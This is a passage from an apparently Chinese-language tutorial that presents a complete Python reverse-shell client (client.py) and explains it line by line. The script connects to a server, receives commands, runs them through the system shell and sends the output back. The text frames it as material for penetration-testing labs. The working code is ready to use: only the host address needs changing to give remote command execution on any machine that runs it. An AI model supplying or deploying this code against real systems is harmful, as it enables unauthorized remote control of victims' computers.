创建客户端
接下来,让我们创建客户端(受控端)。客户端将连接到服务器并执行接收到的命令。
在 client.py 中,添加以下内容:
import socket
import subprocess
import sys
import time
def connect_to_server(host, port):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.connect((host, port))
while True:
command = sock.recv(1024).decode('utf-8')
result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output = result.stdout.decode(sys.getfilesystemencoding())
sock.send(output.encode('utf-8'))
time.sleep(1)
if __name__ == "__main__":
HOST, PORT = "127.0.0.1", 7676
connect_to_server(HOST, PORT)
client.py 脚本概述了客户端(或反向 Shell 语境下的「受控端」)如何连接到服务器并处理传入命令。以下是分步说明:
def connect_to_server(host, port)::定义一个函数,接收主机名和端口号以连接到服务器。
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock::使用 IPv4 寻址(AF_INET)和 TCP(SOCK_STREAM)创建一个套接字对象,确保在退出 with 块后自动关闭。
sock.connect((host, port)):发起连接到指定主机和端口的服务器。
while True::进入无限循环,持续监听来自服务器的命令。
command = sock.recv(1024).decode('utf-8'):等待接收来自服务器的命令,最多读取 1024 字节。接收到的字节随后使用 UTF-8 解码回字符串。
result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE):使用系统 Shell 执行接收到的命令。stdout=subprocess.PIPE 和 stderr=subprocess.PIPE 分别捕获命令的标准输出和标准错误。
output = result.stdout.decode(sys.getfilesystemencoding()):使用文件系统的编码将命令执行的输出从字节解码为字符串,这确保了系统文件系统特有的字符能被正确解释。
sock.send(output.encode('utf-8')):将命令执行结果发送回服务器,将其编码为 UTF-8 以将字符串转换回适合网络传输的字节。
time.sleep(1):在监听下一个命令之前暂停执行 1 秒。这通常用于防止客户端因快速、连续的请求而使网络或服务器过载。
这个客户端脚本有效地将运行它的机器变成了一个「受控端」,它连接到指定的服务器,等待命令,执行命令并返回结果。这种设置在网络安全实践的受控环境中非常典型,例如渗透测试实验室,研究人员在那里模拟攻击和防御,以更好地理解和改进安全措施。